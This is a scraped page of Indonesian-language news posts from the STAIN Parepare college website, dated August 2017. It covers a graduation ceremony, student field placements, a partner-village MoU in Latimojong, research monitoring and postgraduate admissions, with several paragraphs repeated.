STAIN Parepare- Penyerahan gelar atau biasa juga disebut dengan Yudisium, hari ini digelar di ruang Aula Serbaguna STAIN Parepare, Selasa 29 Agustus 2017.
Sebanyak 91 mahasiswa yang terdiri dari 46 mahasiswa Tarbiyah dan Adab, 33 mahasiswa jurusan Syariah dan Ekonomi Islam dan 12 mahasiswa jurusan Dakwah dan Komunikasi. Yudisium ketiga ini merupakan yudisium terakhir yang dilaksanakan oleh kepanitiaan munaqasyah tahun akademik 2016/2017. “Jadi setelah ini kita stop pendaftaran sampai menunggu tahun akademik baru 2017/2018. Sampaikan berita kebahagiaan ini kepada orang-orang terkasih, bapak ibu yang sudah membanting tulang membiayai adek-adek sekalian sampai bisa hari ini Anda dikukuhkan sebagai seorang sarjana. Jangan berhenti sampai disini karena dari jurusan tarbiyah, jurusan syariah dan jurusan komunikasi sudah terbuka pascasarjana”, ungkap Sunandar ketua panitia.
Meskipun jadwal wisuda rencananya akan dilaksanakan pada 10 Februari 2018 mendatang, namun para mahasiswa yang mengikuti Yudisium tetap bersuka cita atas pencapaian dan usaha yang telah dilakukan. “Saya merasa senang sekali karena akhirnya hari ini telah terbayarkan semua usaha yang telah dilalui selama ini. Semoga gelar ini berkah untuk agama, nusa dan bangsa”, harap Erni salah satu mahasiswa yang diyudisium.
Selasa, 29 Agustus 2017
Senin, 28 Agustus 2017
Matrikulasi Pascasarjana STAIN Parepare
STAIN Parepare- Pembukaan kegiatan matrikulasi yang diadakan oleh Pascasarjana STAIN Parepare diikuti oleh segenap mahasiswa baru tahun akademik 2017/2018 di ruang seminar Pascasarjana STAIN Parepare (28/08).
Kegiatan ini akan berlangsung mulai tanggal 28 Agustus s/d 11 September 2017 mendatang. Sebanyak 92 orang peserta yang merupakan mahasiswa baru yang telah lulus dari hasil seleksi Penerimaan Mahasiswa Baru (PMB) Pascasarjana STAIN Parepare. Kegiatan Matrikulasi dilaksanakan guna menyamakan persepsi pengetahuan tentang proses perkuliahan di tingkat Pascasarjana. Hal ini dikarenakan mahasiswa baru yang telah lulus dari seleksi memiliki perbedaaan-perbedaan latar pendidikan. Selain itu di kegiatan matrikulasi ini, peserta yang merupakan sarjana yang telah lama vakum akan mendapatkan pembekalan materi sebelum proses perkuliahan aktif.
Menurut Abdul Rahman. K selaku ketua panitia mengatakan pelaksanaan matrikulasi ini seharusnya wajib diikuti oleh seluruh mahasiswa agar memahami proses bangunan struktur keilmuan tingkat magister. “Harapan kami agar seluruh mahasiswa ikut dalam matrikulasi ini benar-benar memanfaatkan situasi dan kesempatan ini, supaya mendapatkan informasi atau data tentang bagaimana proses perkuliahan yang akan dilakukan dalam pascasarjana khususnya perkuliahan yang bersifat reguler”, jelasnya.
Kegiatan ini akan berlangsung mulai tanggal 28 Agustus s/d 11 September 2017 mendatang. Sebanyak 92 orang peserta yang merupakan mahasiswa baru yang telah lulus dari hasil seleksi Penerimaan Mahasiswa Baru (PMB) Pascasarjana STAIN Parepare. Kegiatan Matrikulasi dilaksanakan guna menyamakan persepsi pengetahuan tentang proses perkuliahan di tingkat Pascasarjana. Hal ini dikarenakan mahasiswa baru yang telah lulus dari seleksi memiliki perbedaaan-perbedaan latar pendidikan. Selain itu di kegiatan matrikulasi ini, peserta yang merupakan sarjana yang telah lama vakum akan mendapatkan pembekalan materi sebelum proses perkuliahan aktif.
Menurut Abdul Rahman. K selaku ketua panitia mengatakan pelaksanaan matrikulasi ini seharusnya wajib diikuti oleh seluruh mahasiswa agar memahami proses bangunan struktur keilmuan tingkat magister. “Harapan kami agar seluruh mahasiswa ikut dalam matrikulasi ini benar-benar memanfaatkan situasi dan kesempatan ini, supaya mendapatkan informasi atau data tentang bagaimana proses perkuliahan yang akan dilakukan dalam pascasarjana khususnya perkuliahan yang bersifat reguler”, jelasnya.
Keputusan Menteri Agama (KMA) No. 186 Tahun 2017 Menuju Pembentukan Zona Integritas STAIN Parepare
JAKARTA, STAIN PAREPARE - "Sangatlah penting dan mendesak pengimplementasian Keputusan Menteri Agama (KMA) No. 186 Tahun 2017 tentang petunjuk pelaksanaan dan pembangunan zona integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi yang Bersih dan Melayani (WBM) Kementerian Agama sebagai tonggak terlaksananya program reformasi birokrasi di Kemenag. Selain itu, tidak kalah pentingnya dibentuk zona integritas pada masing-masing unit kerja di Kemenag, termasuk STAIN Parepare. Hal ini diungkapkan Muhammad Ishak MM, mengutip pernyataan Sekjen Kementerian Agama Nur Syam ketika membuka kegiatan " Sosialisasi Ketatalaksanaan ". Kegiatan tersebut dilaksanakan oleh kementerian agama pada hari senin tanggal 14 agustus bertempat di Golden beautigue hotel, jakarta pusat, diikuti oleh 135 peserta, terdiri dari para kasubbag tata laksana pada kanwil, perguruan tinggi negeri agama, eselon I pusat dan subbag tata usaha pada sekjen.
Jebolan magister manajemen tersebut juga menambahkan bahwa untuk mencapai hal tersebut ada aspek perubahan dalam Reformasai Birokrasi antara lain mencakup delapan area, yaitu culture set dan mind set, birokrasi yang berintegritas dan berkinerja tinggi; organisasi yang tepat ukuran dan fungsi; proses kerja yang jelas, efektif, efisien terukur, yang menunjang prinsip good governance; Sumber Daya Manusia, aparatur yang memiliki integritas, netral, kompeten, capable, professional, kinerja tinggi dan sejahtera; regulasi yang kundusif, tepat dan tidak tumpang tindih; pengawasan untuk mewujudkan pemerintahan yang bebas KKN; akuntabilitas untuk meningkatkan akuntabilitas kinerja birokrasi; dan pelayanan publik untuk memberikan pelayanan yang exellent. Program percepatan layanan unggulan (quick wins) ditujukan untuk membangun kepercayaan masyarakat dalam waktu singkat terhadap citra STAIN Parepare melalui penyelenggaraan layanan yang berkualitas. Layanan yang dipersiapkan untuk quick wins antara lain, penerimaan mahasiswa baru penerimaan CPNS dan Non-PNS, administrasi perkuliahan, sertifikasi dosen, dan beasiswa. Prinsip-prinsip pelaksanaan reformasi birokrasi antara lain adalah berorientasi pada peningkatan kualitas pelayanan publik, berorientasi pada peningkatan kinerja, integritas, akuntabilitas, transparansi, penegakan hukum/aturan, desentralisasi/pembagian wewenang, antisipatif, dan inovatif.
Beliau menambahkan bahwa, guna realisasi pembangunan zona integritas kementerian agama telah mengembangkan sebuah aplikasi online berbasis website yang bisa dan wajib diakses dan dioperasikan oleh semua satker di bawah kementerian agama, aplikasi tersebut adalah PMPZI ( Penilaian Mandiri Pembangunan Zona Integritas ) menuju WBK dan WBBM.
Zona integritas (ZI) sendiri adalah sebutan atau predikat yang diberikan kepada Kementerian, lembaga dan pemda yang pimpinan dan jajarannya mempunyai niat (komitmen) untuk mewujudkan birokrasi yang bersih dan melayani, sementara wilayah bebas korupsi atau biasa disingkat WBK adalah sebutan atau predikat yang diberikan kepada suatu unit kerja pada ZI yang memenuhi syarat indikator mutlak dan memperoleh hasil penilaian indikator operasional di antara 80 dan 90, sementara Wilayah Birokrasi Bersih Melayani atau WBM adalah sebutan atau predikat yang diberikan kepada suatu unit kerja pada ZI yang memenuhi syarat indikator mutlak dan memperoleh hasil penilaian indikator operasional 90 atau lebih
Jebolan magister manajemen tersebut juga menambahkan bahwa untuk mencapai hal tersebut ada aspek perubahan dalam Reformasai Birokrasi antara lain mencakup delapan area, yaitu culture set dan mind set, birokrasi yang berintegritas dan berkinerja tinggi; organisasi yang tepat ukuran dan fungsi; proses kerja yang jelas, efektif, efisien terukur, yang menunjang prinsip good governance; Sumber Daya Manusia, aparatur yang memiliki integritas, netral, kompeten, capable, professional, kinerja tinggi dan sejahtera; regulasi yang kundusif, tepat dan tidak tumpang tindih; pengawasan untuk mewujudkan pemerintahan yang bebas KKN; akuntabilitas untuk meningkatkan akuntabilitas kinerja birokrasi; dan pelayanan publik untuk memberikan pelayanan yang exellent. Program percepatan layanan unggulan (quick wins) ditujukan untuk membangun kepercayaan masyarakat dalam waktu singkat terhadap citra STAIN Parepare melalui penyelenggaraan layanan yang berkualitas. Layanan yang dipersiapkan untuk quick wins antara lain, penerimaan mahasiswa baru penerimaan CPNS dan Non-PNS, administrasi perkuliahan, sertifikasi dosen, dan beasiswa. Prinsip-prinsip pelaksanaan reformasi birokrasi antara lain adalah berorientasi pada peningkatan kualitas pelayanan publik, berorientasi pada peningkatan kinerja, integritas, akuntabilitas, transparansi, penegakan hukum/aturan, desentralisasi/pembagian wewenang, antisipatif, dan inovatif.
Beliau menambahkan bahwa, guna realisasi pembangunan zona integritas kementerian agama telah mengembangkan sebuah aplikasi online berbasis website yang bisa dan wajib diakses dan dioperasikan oleh semua satker di bawah kementerian agama, aplikasi tersebut adalah PMPZI ( Penilaian Mandiri Pembangunan Zona Integritas ) menuju WBK dan WBBM.
Zona integritas (ZI) sendiri adalah sebutan atau predikat yang diberikan kepada Kementerian, lembaga dan pemda yang pimpinan dan jajarannya mempunyai niat (komitmen) untuk mewujudkan birokrasi yang bersih dan melayani, sementara wilayah bebas korupsi atau biasa disingkat WBK adalah sebutan atau predikat yang diberikan kepada suatu unit kerja pada ZI yang memenuhi syarat indikator mutlak dan memperoleh hasil penilaian indikator operasional di antara 80 dan 90, sementara Wilayah Birokrasi Bersih Melayani atau WBM adalah sebutan atau predikat yang diberikan kepada suatu unit kerja pada ZI yang memenuhi syarat indikator mutlak dan memperoleh hasil penilaian indikator operasional 90 atau lebih
Latimojong, Desa Binaan STAIN Parepare Di atap Sulawesi
Latimojong sebagai gunung tertinggi di pulau Sulawesi selain menawarkan pesona alam dengan keunikan dan kesejukan udara pengunungan yang dingin, juga menawarkan tantangan dikala berkunjung ke Desa yang bermukim di kaki gunungnya, yakni Desa Latimojong.
[caption id="attachment_5549" align="alignnone" width="300"] Rombongan bergerak menuju Desa Latimojong[/caption]
Kali ini tim STAIN Parepare melakukan kunjungan ke Desa yang menjadi atap Sulawesi pada tanggal 1 & 2 Agustus 2017 sebagai awal perjalanan mengunjungi desa binaan setelah mendapat persetujuan dan rekomendasi dari Bupati Enrekang melalui peryataan dalam sambutannya pada tanggal 3 Juli saat menerima mahasiswa KPM secara resmi di ruang pendopo rujab Bupati Enrekang. Kunjungan dilakukan sekaligus penandatangan MoU dengan Bupati Enrekang untuk menetapkan Desa Latimojong sebagai Desa Binaan STAIN Parepare. Rombongan STAIN Parepare terdiri dari unsur pimpinan Ketua STAIN Pare pare, wakil ketua Bidang akademik dan pengembangan Lembaga, para ketua Jurusan, serta Pimpinan dan staf unit Pusat penelitian dan pengabdian Masyarakat (P3) STAIN Pare pare.
Setelah sholat dhuhur di Desa Buntu Mondong, rombongan star menggunakan mobil hardtop. Kendaraan ini lebih aman digunakan karena cukup handal melewati medan pendakian serta jalan tanah dengan kondisi yang sangat licin apalagi saat kunjungan, sedang berlangsung musim hujan. Masing-masing telah mengambil posisi yang cukup aman untuk mengadakan perjalanan, namun daya muat mobil yang sangat terbatas mengharuskan beberapa orang harus berada diluar badan mobil mengandalkan kekuatan tangan untuk menggantung di mobil.
Kondisi jalan berlumpur membuat laju mobil harus melaju perlahan, ditambah badan jalan sempit mengharuskan mobil harus mundur mencari tempat luas saat berpapasan dengan kendaraan dari arah berlawananan. Sang sopir karena sudah expert melewati medan tersebut kelihatan sangat rileks dibelakang stir. Sangat berbeda dari anggota rombongan nampaknya ngeri dengan medan yang sangat menantang tak dapat menyembunyikan ekspresi sambil sesekali berteriak ‘kiri kiri, meminta sang sopir untuk lebih kekiri agar tak terlalu dekat ke tepi jurang, pinta anggota Tim mengekpresikan rasa ngeri mereka. Namun kondisi jalan tak memungkinkan sehingga ban mobil menapak tepi jurang sepanjang perjalanan. Pukul 15.40 rombongan tiba di Dusun Anginangin Desa Latimojong. Rasa ngeri dan tegang menempuh perjalanan reda seketika berkat sambutan alunan musik bambu dari anak-anak Dusun Angin angin, keramahan warga dengan suguhan kopi Arabika hasil kebun yang diolah secara tradisional.
[caption id="attachment_5551" align="alignnone" width="300"] Sambutan Ketua STAIN Parepare, dihadapan warga Desa Latimojong dan Bupati Enrekang[/caption]
Pukul 17.00 rombongan Bupati Enrekang tiba sehingga acara penandatangan MoU dilaksakan di Masjid Angin angin. Juga hadir dalam kegiatan ini Sekretaris camat Buntu Batu, pembina desa latimojong, kepala desa, para kepala dusun, tokoh masyarakat, dan juga dipadati oleh warga yang sangat antusias menyaksikan proses penandatanganan MoU kali ini. Ba'da Shalat Magrib dilanjutkan dengan kegiatan penyuluhan zakat kepada warga Desa Latimojong dan yang bertindak sebagai narasumber adalah Ketua Jurusan Syariah dan Ekonomi Islam Budiman, M.HI.
[caption id="attachment_5550" align="alignnone" width="300"] Proses penandatanganan MoU dengan Bupati Enrekang[/caption]
Ketua STAIN Parepare dalam sambutannya menyampaikan terima kasih kepada pemerintah Enrekang telah merekomendasikan Desa Latimojong sebagai Desa Binaan sebab dengan potensi Sumber Daya Alam yang melimpah sehingga berbagai program akan dilaksankanan bersama masyarakat agar segala potensi yang tersedia dapat dikelola dengan baik sehingga taraf kesejahteraan masyarakat desa dapat meningkat secara perlahan. Fasilitas khusus yang disediakan khusus untuk putra putri Desa Latimojong dengan program sepuluh orang bebas tes masuk Di STAIN Parepare setiap tahun selama program desa Binaan masih berjalan, urai Ketua STAIN dalam sambutannya.
Warga Desa Latimojong menyambut dengan gembira kerjasama ini dan disampaikan oleh Bupati Enrekang bahwa semoga kerjasama dapat berlangsung dalam beberapa tahun dan memberikan hasil dalam mengangkat potensi Desa Latimojong.
Perjalanan kedua P3M ke Desa Latimojong tanggal 10 Agustus 2017, Perjalanan kali ini mencoba tantangan baru dengan menggunakan motor cros melewati jalur Desa Pasui-Langda-Potokkullin. Medan yang cukup berat disertai kabut dan rintik mengiringi perjalanan tak menyurutkan semangat Tim untuk tiba di lokasi tujuan. Kunjungan ini untuk melakukan survei pemantapan dengan Rapat bersama kepala Desa, para kepala dusun, tokoh agama dan pemuda, serta para pengurus Masjid yang ada di Desa Latimojong, dan semua unsur tersebut hadir pada rapat pemantapan yang dilaksanakan pada hari Jumat tanggal 11 Agustus 2017.
[caption id="attachment_5553" align="alignnone" width="300"] Ketua STAIN Parepare, Kepala P3M, dan Sekretaris P3M memimpin rapat pemantapan dengan Kepada Desa, para kepala Dusun, pengurus Masjid, serta tokoh pemuda dan masyarakat latimojong.[/caption]
Perjalanan pun akan berlanjut, ngeri akan medan, iklim, dan rintik terobati oleh semangat pengabdi yang terlanjur terpatri didasar hati, sebab Darma pengabadian menjadi nyawa perguruan tinggi yang harus berhembus hingga ke bagian tepi negeri ini.(HQ)
[caption id="attachment_5549" align="alignnone" width="300"] Rombongan bergerak menuju Desa Latimojong[/caption]
Kali ini tim STAIN Parepare melakukan kunjungan ke Desa yang menjadi atap Sulawesi pada tanggal 1 & 2 Agustus 2017 sebagai awal perjalanan mengunjungi desa binaan setelah mendapat persetujuan dan rekomendasi dari Bupati Enrekang melalui peryataan dalam sambutannya pada tanggal 3 Juli saat menerima mahasiswa KPM secara resmi di ruang pendopo rujab Bupati Enrekang. Kunjungan dilakukan sekaligus penandatangan MoU dengan Bupati Enrekang untuk menetapkan Desa Latimojong sebagai Desa Binaan STAIN Parepare. Rombongan STAIN Parepare terdiri dari unsur pimpinan Ketua STAIN Pare pare, wakil ketua Bidang akademik dan pengembangan Lembaga, para ketua Jurusan, serta Pimpinan dan staf unit Pusat penelitian dan pengabdian Masyarakat (P3) STAIN Pare pare.
Setelah sholat dhuhur di Desa Buntu Mondong, rombongan star menggunakan mobil hardtop. Kendaraan ini lebih aman digunakan karena cukup handal melewati medan pendakian serta jalan tanah dengan kondisi yang sangat licin apalagi saat kunjungan, sedang berlangsung musim hujan. Masing-masing telah mengambil posisi yang cukup aman untuk mengadakan perjalanan, namun daya muat mobil yang sangat terbatas mengharuskan beberapa orang harus berada diluar badan mobil mengandalkan kekuatan tangan untuk menggantung di mobil.
Kondisi jalan berlumpur membuat laju mobil harus melaju perlahan, ditambah badan jalan sempit mengharuskan mobil harus mundur mencari tempat luas saat berpapasan dengan kendaraan dari arah berlawananan. Sang sopir karena sudah expert melewati medan tersebut kelihatan sangat rileks dibelakang stir. Sangat berbeda dari anggota rombongan nampaknya ngeri dengan medan yang sangat menantang tak dapat menyembunyikan ekspresi sambil sesekali berteriak ‘kiri kiri, meminta sang sopir untuk lebih kekiri agar tak terlalu dekat ke tepi jurang, pinta anggota Tim mengekpresikan rasa ngeri mereka. Namun kondisi jalan tak memungkinkan sehingga ban mobil menapak tepi jurang sepanjang perjalanan. Pukul 15.40 rombongan tiba di Dusun Anginangin Desa Latimojong. Rasa ngeri dan tegang menempuh perjalanan reda seketika berkat sambutan alunan musik bambu dari anak-anak Dusun Angin angin, keramahan warga dengan suguhan kopi Arabika hasil kebun yang diolah secara tradisional.
[caption id="attachment_5551" align="alignnone" width="300"] Sambutan Ketua STAIN Parepare, dihadapan warga Desa Latimojong dan Bupati Enrekang[/caption]
Pukul 17.00 rombongan Bupati Enrekang tiba sehingga acara penandatangan MoU dilaksakan di Masjid Angin angin. Juga hadir dalam kegiatan ini Sekretaris camat Buntu Batu, pembina desa latimojong, kepala desa, para kepala dusun, tokoh masyarakat, dan juga dipadati oleh warga yang sangat antusias menyaksikan proses penandatanganan MoU kali ini. Ba'da Shalat Magrib dilanjutkan dengan kegiatan penyuluhan zakat kepada warga Desa Latimojong dan yang bertindak sebagai narasumber adalah Ketua Jurusan Syariah dan Ekonomi Islam Budiman, M.HI.
[caption id="attachment_5550" align="alignnone" width="300"] Proses penandatanganan MoU dengan Bupati Enrekang[/caption]
Ketua STAIN Parepare dalam sambutannya menyampaikan terima kasih kepada pemerintah Enrekang telah merekomendasikan Desa Latimojong sebagai Desa Binaan sebab dengan potensi Sumber Daya Alam yang melimpah sehingga berbagai program akan dilaksankanan bersama masyarakat agar segala potensi yang tersedia dapat dikelola dengan baik sehingga taraf kesejahteraan masyarakat desa dapat meningkat secara perlahan. Fasilitas khusus yang disediakan khusus untuk putra putri Desa Latimojong dengan program sepuluh orang bebas tes masuk Di STAIN Parepare setiap tahun selama program desa Binaan masih berjalan, urai Ketua STAIN dalam sambutannya.
Warga Desa Latimojong menyambut dengan gembira kerjasama ini dan disampaikan oleh Bupati Enrekang bahwa semoga kerjasama dapat berlangsung dalam beberapa tahun dan memberikan hasil dalam mengangkat potensi Desa Latimojong.
Perjalanan kedua P3M ke Desa Latimojong tanggal 10 Agustus 2017, Perjalanan kali ini mencoba tantangan baru dengan menggunakan motor cros melewati jalur Desa Pasui-Langda-Potokkullin. Medan yang cukup berat disertai kabut dan rintik mengiringi perjalanan tak menyurutkan semangat Tim untuk tiba di lokasi tujuan. Kunjungan ini untuk melakukan survei pemantapan dengan Rapat bersama kepala Desa, para kepala dusun, tokoh agama dan pemuda, serta para pengurus Masjid yang ada di Desa Latimojong, dan semua unsur tersebut hadir pada rapat pemantapan yang dilaksanakan pada hari Jumat tanggal 11 Agustus 2017.
[caption id="attachment_5553" align="alignnone" width="300"] Ketua STAIN Parepare, Kepala P3M, dan Sekretaris P3M memimpin rapat pemantapan dengan Kepada Desa, para kepala Dusun, pengurus Masjid, serta tokoh pemuda dan masyarakat latimojong.[/caption]
Perjalanan pun akan berlanjut, ngeri akan medan, iklim, dan rintik terobati oleh semangat pengabdi yang terlanjur terpatri didasar hati, sebab Darma pengabadian menjadi nyawa perguruan tinggi yang harus berhembus hingga ke bagian tepi negeri ini.(HQ)
317 Mahasiswa Jurusan Syariah dan Ekonomi Islam Ikuti PPL
STAIN Parepare- Pembekalan Praktek Pengalaman Lapangan (PPL) yang telah dilaksanakan pada hari Kamis 24 Agustus 2017 di Aula Serbaguna STAIN Parepare, hari ini mahasiswa yang telah mengikuti pembekalan PPL mulai melakukan praktek pada masing-masing lokasi kerja yang telah ditentukan(28/08).
Sebanyak 317 mahasiswa jurusan Syariah dan Ekonomi Islam yang terdiri dari tiga program studi (prodi) yakni 36 orang prodi Ahwal al- Syakhsiyyah, 167 orang prodi Hukum Ekonomi Syariah dan 114 orang prodi Perbankan Syariah. Mahasiswa yang mengikuti PPL tahun ini disebar di 60 instansi seperti kantor pengadilan agama, kantor kementrian agama, lembaga Bank, lembaga keuangan non Bank, lembaga asuransi, kantor pos, PLN dan sebagainya. Wilayah instansi mulai dari intansi yang berada di Kota Parepare, kota Makassar, kabupaten Gowa, Palopo, Barru, Sidrap, Pinrang, Wajo, Soppeng, Polman hingga Mamuju. Menurut Fikri selaku ketua panitia penempatan mahasiswa yang mengikuti PPL berdasarkan masing-masing kompetensi. “Semoga pelaksanaan PPL tahun 2017 dapat berjalan dengan baik”, harapnya sebelum menutup laporan pada pembekalan PPL.
Sebanyak 317 mahasiswa jurusan Syariah dan Ekonomi Islam yang terdiri dari tiga program studi (prodi) yakni 36 orang prodi Ahwal al- Syakhsiyyah, 167 orang prodi Hukum Ekonomi Syariah dan 114 orang prodi Perbankan Syariah. Mahasiswa yang mengikuti PPL tahun ini disebar di 60 instansi seperti kantor pengadilan agama, kantor kementrian agama, lembaga Bank, lembaga keuangan non Bank, lembaga asuransi, kantor pos, PLN dan sebagainya. Wilayah instansi mulai dari intansi yang berada di Kota Parepare, kota Makassar, kabupaten Gowa, Palopo, Barru, Sidrap, Pinrang, Wajo, Soppeng, Polman hingga Mamuju. Menurut Fikri selaku ketua panitia penempatan mahasiswa yang mengikuti PPL berdasarkan masing-masing kompetensi. “Semoga pelaksanaan PPL tahun 2017 dapat berjalan dengan baik”, harapnya sebelum menutup laporan pada pembekalan PPL.
Racana Albadi' STAIN Parepare Sukseskan KEMAS 2017
STAIN Parepare- Racana Albadi' STAIN Parepare sukses menggelar Kemah Masyarakat (KEMAS) 2017 yang dilaksanakan di dusun Silopo desa Mirring Kecamatan Binuang kabupaten Polman (28/08). Kegiatan yang dimulai pada tanggal 21 s/d 24 Agustus 2017 ini diikuti oleh tiga sekolah yaitu SMKN Paku, SMPN 7 Polewali Mandar dan MTS Ainun Sahab serta partisipasi mayarakat setempat. Tujuan dari kegiatan ini melatih anggota pramuka untuk berbaur langsung dengan masyarakat. Selain itu, kegiatan KEMAS ini juga bekerja sama dengan Kerukunan Pemuda Pelajar Silopo (KPPS) dan pemerintah setempat. Zul Muhtar selaku ketua panitia kegiatan mengatakan kegiatan KEMAS berlangsung sesuai dengan schedule yang telah ditetapkan. “Mudah-mudahan KEMAS selanjutnya lebih bagus lagi dan sukses selalu”, harapnya.
Kamis, 24 Agustus 2017
Monitoring Kemenag RI: Kasubbid Penelitian dan Pengabdian Masyarakat
STAIN Parepare- Kementerian Agama RI, Kasubbid Penelitian dan Pengabdian Pada Masyarakat mengunjungi kantor P3M STAIN Parepare, Kamis 24 Agusuts 2017. Kasubbid penelitian dan pengabdian masyarakat mengambil sample terkait penelitian dan pengabdian serta administrasi yang ada di STAIN Parepare khususnya di P3M. Selain itu mereka juga melakukan monitoring terkait tentang penelitian yang sedang berlangsung.
Penelitian yang diadakan oleh Penelitian dan Pengabdian Pada Masyarakat (P3M) STAIN Parepare memang sudah melalui beberapa tahap, mulai dari pengumuman, pendafataran sampai dengan penanda tanganan kontrak dengan peneliti.
Peneliti merupakan dosen dan mahasiswa yang ada di STAIN Parepare. Menurut Zainal Said selaku kepala P3M STAIN Parepare mengatakan “Insyaa Allah, awal September atau pertengahan kita sudah seminar hasil”.
Hal ini berdasarkan estimasi waktu yang diberikan oleh Ketua STAIN Parepare tentang berakhirnya program kerja pada bulan November. “Kita berusaha bagaimana semua program-program itu sesuai dengan target dan mengedepankan kualitas dari program itu sendiri. Insyaa Allah November ini kita sudah pelaporan hasil kegiatan”, jelasnya.
Foto: Idr
Penelitian yang diadakan oleh Penelitian dan Pengabdian Pada Masyarakat (P3M) STAIN Parepare memang sudah melalui beberapa tahap, mulai dari pengumuman, pendafataran sampai dengan penanda tanganan kontrak dengan peneliti.
Peneliti merupakan dosen dan mahasiswa yang ada di STAIN Parepare. Menurut Zainal Said selaku kepala P3M STAIN Parepare mengatakan “Insyaa Allah, awal September atau pertengahan kita sudah seminar hasil”.
Hal ini berdasarkan estimasi waktu yang diberikan oleh Ketua STAIN Parepare tentang berakhirnya program kerja pada bulan November. “Kita berusaha bagaimana semua program-program itu sesuai dengan target dan mengedepankan kualitas dari program itu sendiri. Insyaa Allah November ini kita sudah pelaporan hasil kegiatan”, jelasnya.
Foto: Idr
PENANDATANGANAN KERJASAMA STAIN PAREPARE DAN STAIN AL-FATAH JAYAPURA
Jayapura_18 Agustus 2018 Ketua STAIN Parepare bersama Wakil Ketua Bid. Administrasi dan Pengembangan Lembaga, beserta Ketua dan Sekertaris Pusat Penelitian dan Pengabdian pada Masyarakat melakukan Kunjungan Kerja sekaligus melakukan perjanjian kerjasama di STAIN Al- Fatah Jayapura. Ketua STAIN Al- Fatah Jayapura yakni Dr. H. Idrus AL-Hamid, S.Ag.,M.Si sangat antusias atas kunjungan kerja STAIN Parepare. Perjanjian kerjasama ini dilakukan dengan maksud memperkuat pelaksanaan program Tri Dharma Perguruan Tinggi serta saling membantu dalam melaksanakan berbagai program kerjasama dengan memanfaatkan sumber daya dan fasilitas yang ada dilingkungan STAIN Parepare begitupun STAIN Al- Fatah Jayapura. bukan hanya itu, Perjanjian Kerjasama ini juga dilakukan dengan tujuan untuk meningkatkan hubungan kelembagaan dalam melaksanakan kegiatan pendidikan, pengajaran, penelitian, publikasi ilmiah, dan pengabdian kepada masyarakat di lingkungan STAIN Parepare dan STAIN Al- Fatah Jayapura.
Rabu, 23 Agustus 2017
Mahasiswa Dakom Siap PPL di Sulbar
STAIN Parepare - 96 mahasiswa Dakwah dan Komunikasi siap melaksanakan Praktik Pengalaman Lapangan (PPL) di Provinsi Sulawesi Barat selama 30 hari, 28 Agustus hingga 27 September.
35 mahasiswa Komunikasi Penyiaran Islam, 25 mahasiswa Bimbingan Penyuluhan Islam dan 16 mahasiswa Manajemen Dakwah dibagi dalam 8 instansi, diantaranya Kementrian Agama, Dinas Komunikasi dan Informatika (Kominfo), Lembaga Pemasyarakatan (Lapas), Badan Narkotika Nasional (BNN), Radar Sulbar, TVRI Sulbar dan Kantor Urusan Agama (KUA).
Sebagai rangkaian kegiatan PPL, jurusan Dakwah dan Komunikasi melaksanakan Pembekalan Praktek Pengalaman Lapangan (PPL) di Aula STAIN Parepare, Selasa (22/08). Ketua STAIN Parepare menghadiri sekaligus membuka kegiatan pembekalan dan melepas peserta PPL Jurusan Dakwah dan Komunikasi.
Ketua STAIN berharap kepada peserta PPL agar senantiasa menjaga nama baik lembaga, tetap dalam koridor kode etik dan disiplin waktu. Selain itu, Ketua STAIN Parepare menyampaikan bahwa PPL ini merupakan kesempatan untuk mendapatkan lapangan pekerjaan.
35 mahasiswa Komunikasi Penyiaran Islam, 25 mahasiswa Bimbingan Penyuluhan Islam dan 16 mahasiswa Manajemen Dakwah dibagi dalam 8 instansi, diantaranya Kementrian Agama, Dinas Komunikasi dan Informatika (Kominfo), Lembaga Pemasyarakatan (Lapas), Badan Narkotika Nasional (BNN), Radar Sulbar, TVRI Sulbar dan Kantor Urusan Agama (KUA).
Sebagai rangkaian kegiatan PPL, jurusan Dakwah dan Komunikasi melaksanakan Pembekalan Praktek Pengalaman Lapangan (PPL) di Aula STAIN Parepare, Selasa (22/08). Ketua STAIN Parepare menghadiri sekaligus membuka kegiatan pembekalan dan melepas peserta PPL Jurusan Dakwah dan Komunikasi.
Ketua STAIN berharap kepada peserta PPL agar senantiasa menjaga nama baik lembaga, tetap dalam koridor kode etik dan disiplin waktu. Selain itu, Ketua STAIN Parepare menyampaikan bahwa PPL ini merupakan kesempatan untuk mendapatkan lapangan pekerjaan.
Selasa, 22 Agustus 2017
Day 2: Penyegaran Baca Al-Qur’an
STAIN Parepare- Memasuki hari kedua Penyegaran Baca Al-Qur’an (PBQ) 2017, masing-masing mahasiswa baru mengikuti proses pembelajaran pada kelas-kelas yang telah ditetapkan berdasarkan hasil placement test (22/08). Para peserta PBQ dibagi berdasarkan kemampuan dalam membaca Al-Qur’an. Seperti mahasiswa yang mendapat kelas A proses pembelajaran dilakukan di Masjid Al-Wasilah STAIN Parepare. Salah satu peserta Lilis mengaku senang sekaligus deg-degan dikarenakan adanya perhatian khusus terkait tentang tajwid dan makhrajul huruf dalam membaca Al-Qur’an. Di sisi lain Budiman selaku salah satu pengajar di kelas A mengajak para peserta agar meniatkan dalam hati untuk mempelajari Al-Qur’an dan mengamalkannya. “Lingkungan kita ini akan diberkahi oleh Allah swt”, ajaknya sebelum memulai membaca Al-Qur’an. Sementara mahasiswa yang mendapat nilai B, C dan D mengikuti proses pembelajaran di gedung N dan gedung Tarbiyah STAIN Parepare.
PMB Pascasarjana STAIN Parepare
STAIN Parepare- Penerimaan Mahasiswa Baru (PMB) Pascasarjana STAIN Parepare, hari ini memasuki hari kedua Ujian (22/08). Setelah kemarin Senin 21 Agustus 2017 para calon mahasiswa baru Pascasarjana STAIN Parepare mengikuti CBT (Computer Basic Test). Hari ini ujian dilanjutkan secara lisan yang diuji langsung oleh masing-masing penanggungjawab program studi (Prodi) yang dilaksanakan di gedung Pascasarjana STAIN Parepare.
Ketua Panitia Abdul Rahman. K mengatakan sesuai dengan petunjuk pimpinan rencananya prodi PAI, Ekonomi Syariah dan Komunikasi Penyiaran Islam akan dibuka masing-masing 2 kelas sedang prodi Bahasa Inggris, Bahasa Arab dan Ilmu Syariah masing-masing satu kelas dengan target 22 orang dalam satu kelas.
Ketua Panitia Abdul Rahman. K mengatakan sesuai dengan petunjuk pimpinan rencananya prodi PAI, Ekonomi Syariah dan Komunikasi Penyiaran Islam akan dibuka masing-masing 2 kelas sedang prodi Bahasa Inggris, Bahasa Arab dan Ilmu Syariah masing-masing satu kelas dengan target 22 orang dalam satu kelas.
Senin, 21 Agustus 2017
Test CBT Calon Mahasiswa Pascasarjana STAIN Parepare
